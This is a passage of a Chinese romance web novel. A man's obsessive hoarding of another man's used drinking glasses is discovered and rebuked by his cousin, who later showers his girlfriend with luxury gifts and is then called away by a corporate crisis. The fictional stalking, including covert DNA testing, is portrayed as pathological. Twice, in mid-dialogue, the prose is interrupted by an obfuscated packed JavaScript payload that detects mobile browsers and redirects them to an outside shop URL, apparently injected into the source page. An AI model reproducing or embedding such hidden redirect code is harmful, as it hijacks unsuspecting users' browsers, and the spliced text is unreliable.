他甚至还……偷偷找人化验过其中一只杯子上残留的唾液DNA。当那份写满专业术语的鉴定报告送到他手上,明确显示那与他自身截然不同的基因序列时,他把自己关在黑暗的房间里,对着那份报告,又哭又笑,像个疯子。那是南景存在过科学的、无可辩驳的证据。可这证据,如今只能以这种卑劣的方式,被他珍藏。 日子在一种诡异的平衡中流淌。南景的世界是高速运转的投行齿轮,会议、数据、交易,光鲜而高效。邵既明的世界则是一座自我构建的、充满冰冷玻璃与虚幻气息的沉默博物馆。 直到某个深夜,秦朗因为一份急需邵既明签字的紧急文件,他小姨,也就是邵既明他妈,千叮万嘱要他“多去看看既明”,不得不临时杀到邵既明别墅。 输入密码,门悄无声息地滑开。玄关一片漆黑,只有书房方向透出一点昏黄朦胧的光。 “邵既明?睡了吗?有个文件……”秦朗一边提高音量,一边摸索着打开客厅的灯。无人应答。 他皱起眉,放轻脚步朝书房走去。 秦朗推开门。 眼前的景象让他瞬间定格,嘴巴微张,脑子里第一个蹦出来的念头是:我他妈是不是走错片场了?这是实验室还是什么变态纪录片现场? 书房没有开主灯,只有书桌一角那盏老式绿色玻璃罩台灯亮着,投下一圈幽暗的光区。邵既明就坐在光圈中心的扶手椅里,穿着丝绸睡袍,头发有些凌乱,背对着门口。这还不是最惊悚的。 最惊悚的是,他面前的书桌上,并非堆积如山的文件或笔记本电脑,而是……整整齐齐、分门别类、像博物馆珍贵展品般陈列着的,一堆玻璃杯! 高脚香槟杯、威士忌古典杯、透明水杯、甚至还有一只看起来像是某次慈善晚宴特制的马克杯……大约七八只,每一只都擦得晶莹剔透。杯子旁边,还摊开放着一本厚重的皮质笔记本,上面似乎用极细的笔迹记录着什么。 而邵既明本人,正微微前倾,戴着那双秦朗之前见过的、薄如蝉翼的白色棉质手套,右手捏着一只细长的香槟杯杯脚,左手举着一个……呃,好像是珠宝鉴定用的那种微型LED放大镜?正对着杯口某个位置,眼神痴迷。 秦朗站在原地,足足愣了五秒钟。他感觉自己的太阳穴在突突直跳,荒谬、惊悚和“我他妈到底造了什么孽要摊上这种事儿”的强烈吐槽欲直冲天灵盖。 他清了清嗓子,用尽毕生演技,才没让自己的声音当场劈叉,尽量用一种“我刚刚只是看见你在欣赏一套普通玻璃器皿”的平静(实则内心惊涛骇浪)口吻,开口道: “哟,邵总,大半夜的……搁这儿搞玻璃制品艺术鉴赏呢?还是……研究古代唾液化石?”他走过去,目光扫过那排杯子,落在杯口那些隐约可见被精心保留的淡淡唇印和水渍蒸发痕迹上,嘴角抽搐了一下,“这品味挺别致啊。文艺复兴湿壁画风格?还是抽象表现主义?” 邵既明被他突如其来的声音惊得浑身一颤,手里的放大镜“啪嗒”掉在桌面的天鹅绒垫布上。他猛地转过头,脸上血色瞬间褪尽,惨白如纸,眼神里充满了被撞破最隐秘羞耻的惊恐、慌乱,以及下意识想把桌上东西全部扫到地上的毁灭冲动。他手忙脚乱地想用睡袍袖子盖住那些杯子,又发现根本盖不住,动作僵硬又滑稽。 “哥……你、你怎么来了……”他声音干涩嘶哑。 “我?我来给你送温暖啊,我亲爱的、有收集癖的、疑似转行法医物证学的表弟。”秦朗踱步到书桌旁,抱起手臂,居高临下地打量着那排杯子,“让我看看……嗯,这只,杯壁有气泡残留,疑似霞多丽或香槟,场合是……上个月兰黛基金会晚宴?这只,威士忌杯,时间……三周前的私募峰会?哦哟,这只马克杯挺别致啊,关爱星星的孩子慈善义卖……邵既明,你可以啊!不搞投资改行搞人类唾液样本及社交场合饮品残留物考据学了?还分门别类,建档立册?” 他拿起那本皮质笔记本,随手翻了一页,念出声,语气夸张:“‘X月X日,华尔道夫酒店,亚洲投资论坛。着装:深色单排扣西装,淡蓝色衬衫(未系领带)。发言时长:17分钟。引用数据三次。饮用品:巴黎水。获取时段:茶歇其离席与高盛代表交谈时。唇印位于杯沿2点钟方向,较浅。气味残留:微弱,似有柑橘调须后水(存疑)。备注:其笑容次数:3,均非对我。’” 秦朗念完,抬起头,看着面如死灰、恨不得原地消失的邵既明,挑了挑眉,把笔记本“啪”地合上,丢回桌上: “邵既明,我郑重建议你,下次直接应聘南景的生活助理,工作内容我都帮你想好了——贴身物品保管及生物样本采集员 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17046486|194740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,绝对专业对口,还能省去你这半夜偷偷摸摸搞研究的功夫。或者,你开个私人博物馆算了,就叫那些年,我们一起偷过的杯子——论一个金融精英的隐秘癖好与自我毁灭之路,门票肯定爆满,说不定比你现在搞投资还赚钱。” 邵既明低着头,肩膀微微发抖,双手死死攥着睡袍的带子。他知道自己行为变态,可笑,可悲,可他就是控制不住。此刻被秦朗以这种荒诞又尖锐的方式彻底揭开,他只觉得无地自容,却又无力反驳。 “我……”他张了张嘴,喉咙里像是堵了团浸满酸楚的棉花,只能发出破碎的音节。 秦朗看着他这副样子,心里的火气和吐槽欲稍微降下去一点,但无奈和担忧更甚。他叹了口气,拉过旁边一把椅子,在邵既明对面坐下,语气稍微缓和,但依旧带着恨铁不成钢: “我说,兄弟,咱们能稍微……正常一点吗?啊?你想他想得快要疯了,这我知道。但咱们能不能用点阳间的办法?哪怕你就像之前那样,远远看着,当个背后灵呢?你现在这算什么?收集人家口水杯?还写观察日记?你知道这要传出去,别说南景了,整个圈子都能把你当变态笑话讲一百年!邵氏继承人是痴汉收藏家?这标题劲不劲爆?” 邵既明猛地摇头,眼泪无声地滚落,砸在深色的睡袍上。“我也不想……哥,我真的不想……可是我没办法……只有这些东西……这些东西让我觉得我还活着……觉得我还没有彻底被他扔掉……”他语无伦次,指着那些杯子,又像是指着自己空洞的胸口,“这里……太疼了……空得厉害……看到这些……闻到一点点味道……才会好受一点点……就一点点……” 一个身高近一米九、曾经在商场叱咤风云的男人,此刻蜷缩在椅子里,对着几只用过的玻璃杯哭泣,场面荒诞到令人心酸。 秦朗揉了揉发疼的额角,感觉自己在照顾一个心理年龄退化到幼儿园、并且有严重恋物癖的巨型儿童。他看了看那排闪着冷光的杯子,又看了看哭得不能自已的邵既明,最终,无奈地伸出手,不是去拿那些杯子,而是重重地拍在邵既明颤抖的肩膀上。 “行了行了,别哭了。哭能解决个屁问题。”秦朗的声音带着疲惫,“杯子……你爱收着就收着吧,藏严实点,别让人看见,尤其是别让南景和周冉看见,不然咱俩都得玩完。但是邵既明,你给我听好了,” 他凑近了些,盯着邵既明泪眼模糊的脸,语气是前所未有的严肃:“看医生,按时吃药,这是底线。还有,给我从这堆玻璃碴子里抬起头,看看外面!哪怕是为了有朝一日,能稍微像个人一样站在南景面前,而不是像个偷窥狂变态一样收集他的垃圾,你也得给我先把自己从这滩烂泥里拔出来!听见没有?!” 邵既明抽噎着,透过朦胧的泪眼,看着秦朗严肃中带着关切的脸,很轻、很轻地点了点头。 “还有,”秦朗像是想起了什么,从带来的文件袋里抽出那份急需签字的文件,拍在桌上那本观察日记旁边,语气恢复了惯常的玩世不恭,但眼神锐利,“先把这字签了,你妈催得跟催命似的。签完了,赶紧给我滚去睡觉!再看这些杯子,我就全给你扔了,换成我的照片,让你天天对着我这张帅脸忏悔!” 邵既明拿起笔,手还在抖,但勉强在指定位置签下了名字。秦朗拿过文件,检查了一下,塞回文件袋。然后,他站起身,环顾了一下这间冰冷、诡异、充满病态执念的书房,最后看了一眼那排在昏黄灯光下静默陈列的杯子,摇了摇头。 “走了,记得锁门。还有,”他走到门口,回头,补充了一句,“下次采集样本的时候,小心点,别把自己指纹留在上面。不然万一哪天东窗事发,这可是铁证如山——犯罪嫌疑人邵既明,于X年X月X日,在XX场合,窃取被害人南景使用过的玻璃杯一只,其上留有犯罪嫌疑人清晰指纹及被害人生物残留……这新闻标题,我都替你编好了。” 说完,他不再看邵既明瞬间更加惨白的脸色,转身大步离开了别墅。 门内,邵既明独自坐在昏黄的光圈里。 他知道秦朗说得对。可他同样不知道,离开了这些玻璃碴子,他还能靠什么,来填补胸腔里那个日夜漏风的破洞。 36. 打了个哈欠 门铃响得执着又突兀,活像哪个上门催债的忘了看黄历。南景起得早,正端着杯温水靠在厨房窗边醒神,闻声走过去开了门。 门外景象让他顿了一顿。 秦朗一身挺括的休闲装,精神得像棵晨间沾露的白杨,正指挥着身后一支小型运输队。三个西装革履的助理、两个穿着制服的专业司机,甚至还有两位妆容精致的女秘书,正流水般从电梯里搬出大大小小、印着各色奢华Logo的购物袋。爱马仕的橙,香奈儿的黑白,迪奥的藤格纹,LV的黄……那些袋子几乎要淹没走廊。 “秦总?”南景挑了挑眉,侧身让开,“这是……改行进货,顺路来我家仓库卸货?” “啧,”秦朗回头,“小祖宗生日,排面能少吗?礼物必须管够!来来来,都轻点儿,搬进去,按颜色和品牌大概分分堆儿!” 南景看着鱼贯而入的人群和迅速堆积在玄关、并向客厅蔓延的奢侈品小山,心里默默庆幸这客厅买得够大。这念头还没落地,电梯“叮”一声又开了,这回出来的人,怀里抱着,不,是“捧”着,或者说“扛”着巨大无比的花束。一束烈焰般的红玫瑰,紧接着是一团娇嫩的粉,后面还跟着一片刺目的白……每一样都由足足999朵玫瑰扎成,庞大的体量让抱花的人走得小心翼翼,乍一看像是移动的微型花园被塞进了楼道。 南景沉默了两秒,看向秦朗,语气诚恳地预言:“你估计得挨揍。” “大舅哥,这你就不懂了吧?”秦朗凑近一步,压低了声音,脸上笑得见牙不见眼,桃花眼里闪着狡黠光芒,“打是亲,骂是爱。再说了……”他声音更低,带了点暧昧的得意,“不满你说,上回那蜡烛,效果是真不错。还有这些那些……嗯,不让写的辅助装备,我作为用户体验,反馈极佳。” 南景瞥了他一眼,没接这个危险话题,只无声地给他竖了个大拇指,不知是赞他勇气可嘉,还是叹他花样作死。 “秦总,东西都按您吩咐放好了,花也摆在了客厅C位。”一位助理上前,恭敬汇报。 “嗯,行,辛苦大家,都回吧。”秦朗潇洒地挥挥手。 人群散去,大门关上。南景环顾自家客厅,原本宽敞通透的空间,此刻已被数不清的奢侈品包装袋和那三大丛巨型玫瑰填充得满满当当,几乎找不到下脚的地方。昂贵的沙发陷在礼物堆里,茶几成了展示台,连落地窗的光线都被玫瑰花山挡去大半。空气里弥漫着玫瑰过于浓烈的甜香的味道。 南景看着这浮夸到令人窒息的“生日景观”,嘴角不受控制地抽搐了两下。 这下,是真有好戏看了。 周冉是被重物移动声、以及隐约的男□□谈声给硬生生从深度睡眠中拽出来的。她皱着眉,把脸更深地埋进枕头,试图屏蔽噪音,但失败了。外面动静越来越大,简直像在搬家。 “谁啊……大清早的拆家呢?!还让不让人睡觉了!”她顶着一头炸毛的乱发,睡眼惺忪,带着浓重的起床气,随便扯了件睡袍裹上,趿拉着拖鞋,一脸杀气地拉开了卧室门—— 然后,她整个人僵在了门口,睡意瞬间灰飞烟灭。 客厅……已经不能称之为客厅了。 这他妈的简直是个刚刚遭遇了奢侈品龙卷风袭击的仓库!还是定向袭击她家客厅的那种! 目之所及,全是各种颜色、大小不一、但Logo一个比一个闪瞎眼的奢侈品购物袋。密密麻麻,层层叠叠,从玄关开始蔓延,侵占了她昂贵的波斯地毯,淹没了她心爱的意大利沙发,甚至有几个特别大的盒子摞起来,几乎要碰到天花板的水晶吊灯。空气里弥漫着一股崭新的皮革、布料和钞票属于资本主义的浮夸香气。 而在这片购物袋的“山海”之中,还矗立着几座更加惊人的景观——那是三大丛(是的,只能用“丛”来形容)巨型花束!每一“丛”都由999朵玫瑰组成,颜色分别是炽烈的红、娇嫩的粉、纯洁的白。包装得极其浮夸,带着闪亮的丝带和巨大的蝴蝶结,在晨光下简直熠熠生辉,存在感强烈到几乎要具象化出“快看我!我超贵!我超多!”的呐喊气泡。 南景正抱臂靠在厨房的门框上,手里端着一杯咖啡,一脸看戏表情。而始作俑者——秦朗,正站在“花山”和“袋海”之间,搓着手,脸上洋溢着一种“快夸我!我是不是超浪漫!超用心!”的、闪闪发光的期待笑容,看着终于走出卧室的周冉。 周冉的视线缓慢地从最近的迪奥袋子,扫到远处的LV山,再掠过那三丛仿佛在开选美大会的巨型玫瑰,最后定格在秦朗那张写满“求表扬”的俊脸上。 沉默。 长达十秒的死寂。只有客厅古董座钟的滴答声格外清晰。 然后,周冉深吸了一口气,仿佛用尽了全身的力气,才没让自己当场厥过去。她抬手,指着眼前这片“浩劫”般的景象。 “秦、朗。” “你他妈的……” “是在我家客厅……搞奢侈品批发?还是鲜花博览会预展?啊?” 她迈开步子,像是穿越雷区一样,小心翼翼地走到客厅中央,环顾四周,每多看一眼,嘴角就抽搐一下。 “这堆袋子……”她踢了踢脚边一个爱马仕,“你是把人家旗舰店仓库搬空了吗?还是你觉得我四肢健全,需要这么多包来证明我有手?这得用到下辈子吧?不,下下辈子都未必用得完!你是打算让我开二手奢侈品店补贴家用,好养活你这个除了花钱一无是处的米虫吗?!” 她的目光转向那三丛巨型玫瑰,表情更加难以言喻:“还有这花……999朵?还三种颜色?红粉白?秦朗,你是在给我过生日,还是在给我提前布置灵堂追悼会现场?这规模,这配色,不知道的还以为我今天不是过生日,是特么要登基加冕当女王了!还是那种审美停留在中世纪暴发户水平的女王!” 她走到那丛红玫瑰前,戳了戳其中一朵饱满得过分的话,继续输出:“而且,你买这么多玫瑰,考虑过它们的感受吗?考虑过我的鼻炎吗?考虑过明天这些花集体凋谢后,打扫起来有多灾难吗?你是想用花香谋杀我,还是想用花瓣淹死我?” 秦朗脸上的笑容丝毫未减,反而因为她终于注意到了细节而更加灿烂,他凑近一步,试图去搂她的腰:“冉冉,这不显得隆重嘛!生日一年就一次,我的小祖宗当然要拥有最好、最多、最全的!这些包,不同颜色不同尺寸,配你不同的衣服和心情!这些花,红色代表我炽热的爱,粉色代表你永远少女,白色代表我们纯洁的未来……” “停!打住!”周冉一把拍开他的爪子,做了个呕吐的表情,“还纯洁的未来?秦朗,你准备那什么特大号战略物资的时候,怎么不想想纯洁两个字怎么写?你的未来跟纯洁有半毛钱关系吗?你的未来明明写满了淫?靡、奢侈和人傻钱多速来!” 南景在旁边没忍住,“噗嗤”一声笑了出来,咖啡差点洒出来。 秦朗被怼了也不恼,反而得意地挑了挑眉,压低声音,用只有周冉能听清的气声说:“那说明我知行合一啊,冉冉。物质精神两手抓,两手都要硬。前晚……那不是解决迫切需求嘛。今天这些,是表达长久爱意。你看,蜡烛用着不错吧?那些不让写的……用户体验是不是也挺好?” 周冉的耳根“唰”地红了,也不知道是气的还是羞的,她狠狠瞪了秦朗一眼,抬脚就踹向他小腿。 “用户体验你个头!我现在最大的用户体验就是想把你连同这些破烂一起从22楼扔下去!”她烦躁地看着满屋的狼藉,最终,像是放弃了挣扎,重重地叹了口气。 她走到沙发边,勉强在几个袋子里清出个坐的地方,瘫倒下去,有气无力地对着南景说:“南小景,报警吧。告他非法入侵、扰乱民居、以及……用金钱和浮夸物质对我进行精神污染和视觉暴力。” 南景慢悠悠地喝了口咖啡,笑眯眯地说:“证据确凿。不过法官可能认为这是爱的表现,最多批评教育。” 秦朗立刻顺杆爬,蹭到周冉坐的沙发扶手上,伸手给她捏肩膀:“就是就是!大舅哥明鉴!我这是爱得深沉,爱得毫无保留,爱得……倾家荡产也在所不惜!” 周冉翻了个巨大的白眼,但看着满屋子价值不菲的“破烂”,再看看秦朗那张虽然欠揍但写满讨好和用心的脸,心里那点因为被吵醒和场面过于浮夸而起的火气,莫名其妙就消散了大半,又好气又好笑的无奈。 她最终,只是撇了撇嘴,用遥控器打开了电视,嘴里嘟囔着: “行了,别嘚瑟了。你两人把这些展览品收拾一下,该塞衣柜塞衣柜,该插花瓶插花瓶……哦,花瓶可能不够,你自己看着办。别挡着我走路,也别熏得我头疼。”她顿了顿,瞥了一眼秦朗,补充道,语气硬邦邦的,“还有,下次再搞这种惊喜……提前说一声,我怕我心脏承受不起,也怕物业以为我家改行做仓储了。” 这几乎等于默许收下了。秦朗眼睛瞬间亮得像两千瓦的灯泡,立刻跳起来:“得令!夫人!保证收拾得妥妥帖帖,还你一个整洁的客厅!玫瑰我马上分瓶,保证满室生香不熏人!袋子我帮你分类整理,列出清单,方便您日后临幸!” 看着秦朗屁颠屁颠开始指挥,虽然只有他自己和自觉加入的南景,收拾残局的背影,周冉拿起遥控器换着台,嘴角却不受控制地,微微向上弯了一下。 南景将咖啡杯放在一边,走到周冉旁边坐下,看着她明明想笑却硬要板着的侧脸,轻声说:“虽然方式浮夸了点,但心意是真的。” 周冉哼了一声,没接话,但也没反驳。过了一会儿,她才小声嘀咕:“败家子。” 南景笑了。 秦朗和南景盘腿坐在柔软的地毯上,被无数打开的礼盒、防尘袋和散落的包装纸环绕,像两个在宝藏堆里奋战了一上午的疲惫海盗。 “这个怎么样?鳄鱼皮,金刚色,25尺寸,配你上周新买的那件风衣绝了。”秦朗献宝似的举起一只闪着温润光泽的铂金包,脸上是求表扬的期待。 南景拿起旁边一个打开的天鹅绒首饰盒,里面躺着一条设计极为精巧的钻石项链,主钻不大,但切割工艺非凡,四周缀着细碎的粉钻,在光线下流光溢彩。他仔细看了看,又拿起旁边另一个盒子里的耳环对比,忍不住叹道:“秦总,厉害啊。这钻石耳钉的镶嵌方式,和这项链的副石设计,明明不是一套,却能呼应上。还有这手链的扣头细节……你真是一件件挑的?没一件重样。” “那必须的!”秦朗挺起胸膛,手指划过地上摊开的几个首饰盒,里面躺着从头到脚的“武装”:造型别致的钻石发夹,线条极简的珍珠耳环,层层叠戴风格的锁骨链,甚至还有一条点缀碎钻、堪称艺术品的腰链,以及脚踝处极细的铂金脚链。“我们家冉冉,那能敷衍吗?每一件都得是独一无二,衬她!” 南景点点头,拿起那只价值不菲的包在手里掂了掂,忽然话锋一转,语气变得无比务实:“问句煞风景的,秦总别介意。就这些东西……万一,我是说万一啊,以后想变现,对折能出得了手吗?” 秦朗正拿起一双镶着水晶的精致高跟鞋比划,闻言动作一顿,脸上得意的笑容僵了僵,有些讪讪地放下鞋子:“额……这个嘛,说实话,难。除非遇到真心特别喜欢这款,又是专柜断货绝版,还得碰上不差钱又就认这口的有缘人,才有可能原价或者小加一点出。绝大多数情况……”他做了个手势,表情无奈,“出了专柜,就是骨折价。尤其是衣服鞋子,一季过后,价值拦腰斩都算好的。” “败家子!!!” 他话音刚落,一个鹅绒抱枕就带着风声,“砰”地砸在他后脑勺上。 周冉不知何时从“礼物山”的另一头站了起来,她刚刚试戴了一条项链,此刻还挂在纤细的脖颈上,钻石在她锁骨间闪烁,但她的脸色可没那么闪亮。她瞪着秦朗:“你还知道啊! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17046487|194740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我还以为秦总您点石成金,买的不是东西,是永不贬值的硬通货呢!” 她一把摘下项链,随手丢回敞开的丝绒盒子里,然后站起身,赤脚踩过柔软的地毯,丢下一句:“你俩慢慢收拾吧,我看着眼晕,去泡个澡。麻烦把这些,”她踢了踢脚边一堆印着巨大Logo的包装袋和盒子,“都处理干净!看着就呼吸不畅!” “哎!好嘞好嘞!夫人您放心!保证恢复原样,一尘不染!”秦朗立刻转换狗腿模式,点头哈腰,目送周冉带着一脸嫌弃走进主卧,直到听见关门的声音,才长长舒了口气,抹了把不存在的虚汗,重新瘫坐回地毯上。 他看向南景,表情倒是认真了几分:“说真的,南景,你要真想搞点保值的东西傍身,别学我这么瞎买。建议直接买黄金,金条,金豆子,都行。老话怎么说的?盛世古董,乱世黄金。这两年看着光鲜,底下经济什么样,咱们这行最清楚。多屯点黄金,心里踏实。” 南景若有所思,缓缓点了点头,目光扫过满室华光璀璨却可能迅速贬值的礼物,又看了看秦朗难得正经的侧脸,没说话,只是拿起手边一个空盒子,开始用力压扁。 两人埋头苦干,拆盒,分类,整理,将小山一样的包装袋、填充物、礼盒外壳分批整理好,搬到门口走廊。呼叫物业,看着保洁人员来回几趟才清空。等到最后一批包装垃圾被运走,客厅终于重现宽阔地面和沙发的原本轮廓时,窗外天色已然染上了夕阳的淡金色。 “砰!”“咚!” 两声闷响,几乎是同时。秦朗和南景一左一右,把自己像两袋被抽空力气的面粉,重重摔进了宽大柔软的沙发里,陷在靠垫中,一动不动。 “我去……”秦朗仰着头,望着天花板,声音有气无力,“我看网上那些博主拍拆箱Vlog,一个个笑得跟花儿似的,咔咔几下就拆完了,背景音乐还贼欢快……怎么轮到我自己,感觉像被吸干了精气,比连开三天三夜跨国电话会还累……” “活该。”周冉清亮的声音从旁边传来,她不知何时已泡完澡,换了身舒适的棉质家居服,盘腿坐在沙发另一头的单人位上,正拿着IPAD刷着什么,头也不抬地吐槽,“你这是一口气拆了人家时尚博主一年的量,还附带清空了半个珠宝柜台。没累死在包装纸堆里,算你体力好。” “我不行了……”南景也闭着眼,抬起一只手,虚弱地摆了摆,声音飘忽,“晚饭别指望大餐了……只有阳春面的力气。清水煮面,加点酱油猪油葱花,顶多卧个蛋,爱吃不吃。” “可以可以,非常可以!”秦朗立刻表态,艰难地侧过身,对着南景的方向,“南景,我现在看你就跟看救命恩人一样!有口热汤面就行,绝对不挑剔!” 周冉从IPAD上抬起眼,看了看瘫成两团的男士,又看了看南景疲惫的侧脸,眼神柔和了些,声音也轻了下来:“嗯,南小景,我也好久没吃你做的阳春面了。上次吃……”她顿了顿,像在回忆,“还是高三那年,我生日。” 南景闭着眼,嘴角却微微弯了一下:“你吃的还少了?高中三年,我给你做了三年的早饭,晚饭,周末的午饭。咱俩能活下来,没饿出胃病,我觉着功劳不小。” “你那也叫饭?”周冉挑眉,加入了回忆,“不是白水煮挂面加青菜,就是泡面里给我卧个蛋,最多加点火腿肠。美其名曰营养均衡。” “那我还给你加了鸡蛋呢!”南景也睁开眼,笑着反驳,“高三累成狗,能糊弄熟、吃了不拉肚子就不错了。咱俩那会儿,能从生活费里抠出钱买鸡蛋加餐,已经是改善伙食了。能全须全尾活到现在,没饿死也没营养不良,我觉得是奇迹。” “哈哈,”周冉也笑起来,眼神飘向远处,仿佛看到了旧日狭窄房屋,“后来全校都在传,说咱俩不仅早恋,还偷偷在校外同居。” 南景也笑出了声:“结果你的班主任和我的班主任找咱俩谈话,旁敲侧击。后来查到了,我们俩在一个户口本上,是法律意义上的兄妹……班主任和班主任那脸色,啧啧,精彩纷呈,从痛心疾首到尴尬无措再到强行慈祥,可以拍表情包。” 两人你一言我一语,说着只有他们才懂的旧日趣事与艰辛。 一直安静听着,目光在两人之间来回的秦朗,忽然开口。他脸上惯常的玩世不恭淡去了,看着南景,眼神很认真:“南景,”他说,“说真的,我挺羡慕你的,也有点嫉妒。” 南景和周冉都停下了说笑,看向他。 秦朗继续道:“你能在冉冉最需要人照顾、最艰难的那段日子里,一直在她身边。陪着她,照顾她,一起熬过来。那些日子……我没赶上。” 他顿了顿,目光转向周冉,又看回南景:“我也……很谢谢你。谢谢那几年,有你。” 客厅里一时静默,只有夕阳最后的余晖在墙壁上缓缓移动。满屋的钻石珠宝和名牌包包,在这突如其来真挚到有些沉重的感谢面前,仿佛都黯然失色。 周冉先反应过来,她飞快地眨了下眼,像是要驱散某种突如其来的情绪,然后抬起脚,不轻不重地踢在秦朗的小腿肚上。 “关你屁事。”她扭过头,重新拿起IPAD,语气硬邦邦的,“少在那儿煽情,肉麻死了。” 南景看着秦朗龇牙咧嘴揉小腿的样子,又看看周冉强作镇定的侧脸,脸上缓缓露出一个温和的浅笑。他没接秦朗的话,也没对周冉的“暴力”发表意见,只是撑着沙发扶手,有些吃力地站了起来。 “行了,两位功臣休息吧,”他活动了一下酸痛的脖颈和肩膀,朝厨房走去,“救命恩人去给你们下阳春面。再不吃,真要饿出胃病了。” 秦朗揉着小腿,看着周冉假装专注刷IPAD的侧影,嘴角慢慢勾起,那笑容里少了平时的浮夸,多了点踏实的东西。 周冉盯着屏幕上模糊跳动的画面,指尖无意识地划拉着,过了好一会儿,才轻轻“哼”了一声。 37. 哟,秦总,老婆跑了啊。 转眼间空气里已浮动着初夏微醺。周冉和秦朗的关系,在一种心照不宣的默契中,保持着某种进阶版的稳定。周冉依旧坚持不让秦朗在家里过夜,连睡沙发的提议都被她以“我家沙发认生,怕你压坏”为由无情驳回。 起初两人心照不宣地在顶级酒店套房约会,隐秘,便捷,事毕各自离开,倒也符合周冉不粘腻的作风。直到某次,秦朗一边系衬衫扣子,一边用那种混合着餍足与委屈的语气嘟囔:“夫人,下次能不能换个地儿?这酒店隔音……啧,我都不敢尽情发挥,怕隔壁投诉扰民,有损我英明神武的形象……”周冉闻言从镜子里斜睨他一眼:“德行。”没过多久,秦朗名下那套位于顶级地段、私密性极佳、装修风格完全按周冉喜好来的大平层公寓,就成了两人新的据点。这里没有退房时间,没有隔壁可能存在的耳朵,只有一整面墙的落地窗外璀璨的城市夜景,和足够秦朗“尽情发挥”也不怕扰民的宽敞空间。 这天傍晚,暮色将天空染成温柔的紫灰色。两人刚牵着手慢悠悠晃回来。电梯平稳上升,镜面墙壁映出两人挨得很近的身影,秦朗的手指有一下没一下地摩挲着周冉的指尖,空气里有种懒洋洋的甜蜜。指纹锁“嘀”一声轻响,门滑开,温暖的灯光自动亮起,室内弥漫着周冉喜欢清冷木质调香薰气味。秦朗反手关上门,顺势就把人抵在了玄关的墙壁上,低头想去寻那两片诱人的红唇。 “嗡嗡嗡!” 他口袋里的手机,就在这暧昧升温的节骨眼上,不识趣地剧烈震动起来,嗡嗡声在安静的玄关格外刺耳。 秦朗动作一滞,保持着将人圈在怀里的姿势,腾出一只手摸出手机。屏幕上来电显示“父亲”。 这个时间,老爷子亲自打电话来,绝非闲话家常。秦朗眼底那点旖旎瞬间褪去,换上了工作时的沉稳。他看了周冉一眼,用口型说了句“我爸”,然后按下了接听键。 “爸。” 电话那头传来秦父低沉严肃、语速极快的声音,隐约能听到几个关键词:“……技术泄露……海外账户异常……监管问询……立刻回公司……” 秦朗的脸色随着电话内容,一点点沉了下去。他一边“嗯”、“明白”、“我马上到”地应着,一边已经松开了环着周冉的手,转身快步走到客厅中央,用公寓的座机快速拨通了另一个号码,简明扼要地确认了几个信息。挂断座机,他又立刻用手机登录了内部系统,屏幕冷白的光映着他紧绷的下颌线。短短几分钟,他周身的气场已从慵懒情人切换成了杀伐决断的集团继承人。 他放下手机,揉了揉眉心,转身看向一直安静站在玄关、抱着手臂的周冉,脸上带着歉意和来不及掩饰的凝重:“夫人,公司出了点急事,比较棘手,我得立刻过去处理。”他顿了顿,似乎想解释,又觉得此刻不是时候,只补充道,“事情有点突然,我得亲自盯着。” 周冉脸上没什么惊讶或不悦,她点点头:“嗯,去吧。正事要紧。” 秦朗走回来,双手捧住她的脸,不由分说地低头,在她唇上印下一个又重又急的吻,带着未散的情?欲和突如其来的焦灼,仿佛想从这个吻里汲取一点安定,又像是某种仓促的确认。一吻结束,他额头抵着她的:“等我,老婆。处理完马上回来。” 周冉没应他那声“老婆”,只是抬手,不甚温柔地拍了拍他的脸颊:“赶紧滚蛋,别磨蹭。” 秦朗又用力抱了她一下,这才抓起随手丢在沙发上的西装外套,拉开门大步走了出去。 公寓里瞬间恢复了寂静,只剩下香薰机极细微的喷吐声。周冉在玄关站了几秒,才慢慢走到客厅,在宽大的沙发上坐下,随手拿起一本之前翻了一半的杂志。 就在这时。 “叮咚。叮咚。” 门铃响了。 清脆,规律,在过分安静的公寓里显得有些突兀。 周冉从杂志上抬起头,有些疑惑。秦朗刚走,有钥匙,不会按门铃。物业?这个时间点……她放下杂志,起身走到门后,透过猫眼往外看去。 …… 秦朗那边,事情远比电话里听说的更复杂棘手。涉及到核心技术泄密嫌疑和海外资金异常流动,直接惊动了高层和监管。他连夜召集核心团队,核对数据,沟通律师,应对问询,忙得焦头烂额,手机消息不断,电话一个接一个。等他终于能稍微喘口气,揉了揉酸涩的眼睛,看向窗外时,发现天色已经蒙蒙亮了。 他这才猛地想起周冉。拿出手机,屏幕上有几条未读的工作信息,但没有周冉的。他点开对话框,上一条还是他离开公寓后,在车上抽空发的一句:「公司这事得处理两天,估计要通宵,老婆你早点睡,别等我。」周冉回了一个简短的:「好。」 一如既往的言简意赅,符合她的风格。秦朗当时被各种事务缠身,只匆匆扫了一眼,心里那点因为爽约而起的愧疚,也被“她没生气就好”的念头盖过,便又投入了下一轮讨论。 此刻,看着那个孤零零的“好”字,秦朗心里莫名掠过一丝的不安。但疲惫和后续更繁重的工作立刻占据了上风。他甩甩头,觉得自己大概是忙晕了,周冉从来不是黏人的性格,这会儿肯定在家睡得正香。 接下来的两天,秦朗几乎住在了公司。抽空给周冉发过几条信息,无非是“在忙”、“吃了没”、“记得吃饭”之类的。周冉的回复一如既往的简短,“嗯”、“吃了”、“好”,间隔时间也越来越长。秦朗只当她也在忙,或者嫌他唠叨,没太在意。他甚至忙里偷闲,想着等这事了了,得好好补偿她,连道歉礼物都在脑子里过了几款。 